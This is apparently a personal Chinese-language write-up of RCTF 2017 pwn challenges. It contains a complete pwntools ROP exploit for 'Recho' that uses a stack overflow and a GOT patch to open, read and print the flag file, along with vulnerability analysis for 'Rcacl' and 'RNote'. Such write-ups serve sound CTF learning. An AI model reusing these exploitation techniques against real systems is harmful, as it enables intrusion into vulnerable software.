RCTF2017 pwn | 补题
Recho
64位栈溢出
有两个点
- 第一个在于如何停止输入数据, 就是让read返回0, 然后执行我们的ROP…这个是用
p.shutdown('send')
- 第二个在于我们停止输入了…就没办法getshell了, 只能readflag, 所以这里改动
alarm@got
的指向, 指向syscall
, 就可以使用open -> read -> write
这样子读取flag, 更改alarm@got
, 我们用add byte ptr[rdi], al; ret
这个第二点表述的比较奇怪…就是我们只能输入一次, 然后就shutdown, 开始ROP, 没有第二次交互机会
#encoding: utf-8
from pwn import *
p = process("./Recho")
elf = ELF("./Recho")
rax_ret = 0x4006fc
rdi_ret = 0x4008a3
rdx_ret = 0x4006fe
rsi_r15_ret = 0x4008a1
add_rdi_ret = 0x40070d # add byte ptr[rdi], al; ret
'''
gdb-peda$ x/5i alarm
0x7ffff7ad9200 <alarm>: mov eax,0x25
0x7ffff7ad9205 <alarm+5>: syscall
'''
payload = 'a' * 0x38
payload += p64(rdi_ret) + p64(elf.got['alarm'])
payload += p64(rax_ret) + p64(0x5)
payload += p64(add_rdi_ret)
'''
这样子的话, alarm@plt存储的就是syscall, 通过传递eax(rax), 起来不同的函数
由于已经有了read和write, 所以只有open需要使用syscall...read, write布置好参数调用就行了
'''
flag_addr = elf.symbols['flag']
# open(filename = 'flag', flags = 2, mode = 0)
payload += p64(rax_ret) + p64(0x2)
payload += p64(rdi_ret) + p64(flag_addr)
payload += p64(rsi_r15_ret) + p64(0x2) + p64(0xdeadbeef)
payload += p64(elf.plt['alarm'])
# read(fd = 3, buf= bss, size = 0x20)
# fd[0..2] = stdin, stdout, stderr
# 好像这个是递增的..?
payload += p64(rdi_ret) + p64(0x3)
payload += p64(rsi_r15_ret) + p64(elf.bss()) + p64(0xdeadbeef)
payload += p64(rdx_ret) + p64(0x20)
payload += p64(elf.plt['read'])
# write(fd = 1, buf= bss, size = 0x20)
payload += p64(rdi_ret) + p64(0x1)
payload += p64(rsi_r15_ret) + p64(elf.bss()) + p64(0xdeadbeef)
payload += p64(rdx_ret) + p64(0x20)
payload += p64(elf.plt['write'])
p.recvline()
p.sendline('1000')
p.send(payload)
p.shutdown("send")
p.interactive()
Rcacl
题目上来, IDA观察main函数
int main() {
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
sub_400A06();
alarm(0x78u);
sub_400FA2();
return 0LL;
}
这个…sub_400A06
, 大概是这样的…不知道要干啥
qword_6020F8 = malloc(0x10)
qword_6020F0 = malloc(0x10)
qword_6020F8[0] = 0
qword_6020F8[1] = malloc(0x100)
qword_6020F0[0] = 0
qword_6020F0[1] = malloc(0x320)
简单看了一下0x6020F0
是实现了一个类似canary的功能
0x6020F8
是实现了结果的存储功能, 包括了结果的数量和具体的值, 堆上存的是具体的数值, 8字节一个.
第二个函数sub_400FA2
是主要功能实现
功能大概
int sub_400BEE()
{
puts("What do you want to do?");
puts("1.Add");
puts("2.Sub");
puts("3.Mod");
puts("4.Multi");
puts("5.Exit");
return printf("Your choice:");
}
GG, 看了一遍没发现洞在哪…
蠢哭自己…在输入名字的地方, 有一个scanf, 可以溢出…但题目中有自己写的栈保护机制
结合前面结果存储那里, 没有验证存储的结果数量, 而又是相对栈保护机制的堆块的低地址, 所以貌似可以溢出到高地址的地方来, 改掉自己实现的canary?
需要注意的是, scanf遇到空格\x20
也会截断
不只空格…还有\x09
, \x0a
, \x0b
, \x0c
, \x0d
…等等
因为这些不可用字符, 所以在构造ROP上还是比较难
之后好好写一下wp…
poc稍后放上来
今天好累==, 想睡觉了
RNote
主要功能
******************
1.Add new note
2.Delete a note
3.Show a note
4.Exit
******************
主要结构体
struct Note{
int inuse; // 4
int len; // 4
char title[16]; // 16
char * ptr; // 8
}; // total 32
我对数据类型产生了….64bit/gcc环境下, int到底是多大…
测了一下..我本机是…4字节…
这个应该就是编译器决定的吧
The sizeof a type is determined by the compiler
Size of a pointer should be 8 byte on any 64-bit C/C++ compiler, but not necessarily size of int.
指针类型应该是32位的4字节, 64位的8字节
在add_note的函数里, 在输入title的时候, 调用的接受输入的函数, 貌似有off-by-one
__int64 __fastcall sub_4009C7(__int64 a1, unsigned int a2)
{
char buf; // [sp+1Bh] [bp-5h]@2
unsigned int i; // [sp+1Ch] [bp-4h]@1
=> for ( i = 0; (signed int)i <= (signed int)a2; ++i )
{
if ( read(0, &buf, 1uLL) < 0 )
exit(1);
*(_BYTE *)(a1 + (signed int)i) = buf;
if ( *(_BYTE *)((signed int)i + a1) == 10 )
{
*(_BYTE *)((signed int)i + a1) = 0;
return i;
}
}
return i;
}
可以控制存储内容的堆地址的最低位…这样的话, 可以leak地址…但好像没有修改之类的功能啊, 该怎么getshell
最后还是参考了这个writeup, https://drigg3r.gitbooks.io/ctf-writeups-2017/rctf-2017/rnotepwn.html
仔细看一下ctf-wiki里关于fastbin_attack的介绍
RNote2
这题暂时不复现, 先补0ctf_2017的babyheap
和easiestprintf
, 还有某b00ks
, 还有lctf的pwn200, 这个 http://pwn4.fun/2017/06/26/%E5%A0%86%E6%BC%8F%E6%B4%9E%E4%B9%8BHouse-of-Spirit/